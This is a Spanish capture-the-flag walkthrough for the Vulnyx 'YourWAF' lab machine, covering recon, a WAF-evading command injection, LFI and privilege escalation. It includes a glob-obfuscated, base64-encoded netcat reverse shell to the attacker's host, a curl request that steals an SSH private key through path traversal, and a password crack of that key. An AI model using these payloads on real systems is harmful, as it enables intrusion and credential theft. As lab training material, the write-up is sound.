Máquina YourWAF (Vulnyx)
Comenzamos con averiguar la dirección IP de la Máquina Victima, para ello primeramente utilizaremos la herramienta netdiscover, para ello ejecutamos el siguiente comando:
$ netdiscover -i eth1 -r 10.0.2.0/24
- Kali (Máquina Atacante): 10.0.2.4
- Máquina Victima: 10.0.2.64
Comprobamos si tenemos conexión con la Máquina Victima, para ello ejecutamos el siguiente comando:
$ ping -c 1 10.0.2.64
Como se puede comprobar por el TTL nos enfrentamos a una Máquina Linux.
A continuación, realizamos con la herramienta nmap un reconocimiento de los servicios, para ello ejecutamos el siguiente comando:
$ nmap -Pn -p- 10.0.2.64 -sVC
Como podemos comprobar la Máquina Victima tiene abiertos los puertos 22, 80 y 3000.
Comprobamos que es lo que corre por el puerto 80.
Nos redirige al dominio www.yourwarf.nyx.
Lo agregamos al archivo /etc/hosts de la siguiente manera, para ello ejecutamos el siguiente comando:
$ nano /etc/hosts
Accedemos a el.
A continuación, realizamos con la herramienta gobuster un fuzzing web por subdominios, para ello ejecutamos el siguiente comando:
$ gobuster vhost -u http://yourwaf.nyx -w /usr/share/seclists/Discovery/Web-Content/big.txt --append-domain --random-agent
Encontramos el subdominio maintenance.yourwarf.nyx.
Lo agregamos también al archivo /etc/hosts de la siguiente manera, para ello ejecutamos el siguiente comando:
$ nano /etc/hosts
Nos encontramos con una Ejecución de Comandos para el mantenimiento del servidor, en el cual, si introducimos el comando whoami nos devuelve www-data, siendo vulnerable a Injección de Comandos (Command Injection).
A continuación, en la terminal de nuestra Máquina Atacante y con la ayuda de la herramienta de netcat(nc) nos ponemos a la escucha por el puerto 443 por donde vamos a recibir la conexión, para ello ejecutamos el siguiente comando:
$ nc -lvnp 443
Nos creamos la siguiente reverse shell codificada en base64, y la pegamos en el formulario de la siguiente manera:
/???/e??o bmMgMTAuMC4yLjQgNDQzIC1lIC9iaW4vYmFzaA== | base64 -d | /b?n/b??h -e
Hacemos un tratamiento de la TTY para obtener una shell interactiva y así evitar problemas, para ello ejecutamos los siguientes comandos:
$ script /dev/null -c bash
Ctrl + Z
$ stty raw -echo;fg
$ reset xterm
$ export TERM=xterm
Enumeramos todos los servicios en el sistema, para ello ejecutamos el siguiente comando:
$ ps aux
Vemos que el usuario root ejecuta el servicio escrito en NodeJs server.js dentro del directorio /opt/nodeapp, Visualizamos el código fuente de este fichero, para ello ejecutamos el siguiente comando:
$ cat /opt/nodeapp/server.js
Descubrimos que la funcionalidad /readfile permite la lectura de archivos del sistema a través de una petición HTTP por el puerto 3000. Para ello, es necesario proporcionar un token de API válido a traves del parametro api-token y el nombre del archivo que se desea leer a traves del parametro file, siendo vulnerable a Local File Inclusion (LFI).
A continuación, enumeramos los usuarios del sistema, para ello ejecutamos el siguiente comando:
$ cat /etc/passwd
Vemos los usuarios tester y root.
A continuación, con la ayuda de la herramienta curl, Intentamos descargar la clave privada id_rsa del usuario tester, para ello ejecutamos el siguiente comando:
$ curl -o id_rsa "http://www.yourwaf.nyx:3000/readfile?api-token=8c2b6a304191b8e2d81aaa5d1131d83d&file=../../../../../../home/tester/.ssh/id_rsa"
Extraemos el hash del fichero id_rsa con la herramienta ssh2john, para ello ejecutamos el siguiente comando:
$ ssh2john id_rsa > id_rsa.hash
A continuación, intentamos crackearlo, para ello utilizamos la herramienta john indicando el diccionario rockyou, para ello ejecutamos el siguiente comando:
$ john id_rsa.hash --wordlist=rockyou.txt
Y obtenemos la contraseña wafako.
Una vez crackeada la contraseña utilizamos el fichero id_rsa para conectarnos via ssh a la Máquina victima, para ello ejecutamos los siguientes comandos:
$ chmod 600 id_rsa
$ ssh -i id_rsa tester@10.0.2.64
¡¡¡Somos tester!!!.
Comprobamos el usuario y los grupos a los que pertenece el usuario tester, para ello ejecutamos el siguiente comando:
$ id
Vemos que el usuario pertenece al grupo copylogs.
Buscamos todos los archivos en los que tenemos permiso de escritura con este grupo, para ello ejecutamos el siguiente comando:
$ find / -group copylogs -perm -u=w -type f 2>/dev/null
Encontramos el archivo copylogs.sh que tiene permisos de escritura dentro del directorio /opt/nodeapp. Por lo tanto lo editamos, para ello ejecutamos el siguiente comando:
$ nano /opt/nodeapp/copylogs.sh
Insertamos la siguiente reverse shell:
A continuación, en la terminal de nuestra Máquina Atacante y con la ayuda de la herramienta de netcat(nc) nos ponemos a la escucha por el puerto 443 por donde vamos a recibir la conexión, para ello ejecutamos el siguiente comando:
$ nc -lvnp 443
¡¡¡Ya somos root!!!.
También pudiendo leer las flags de user y root.















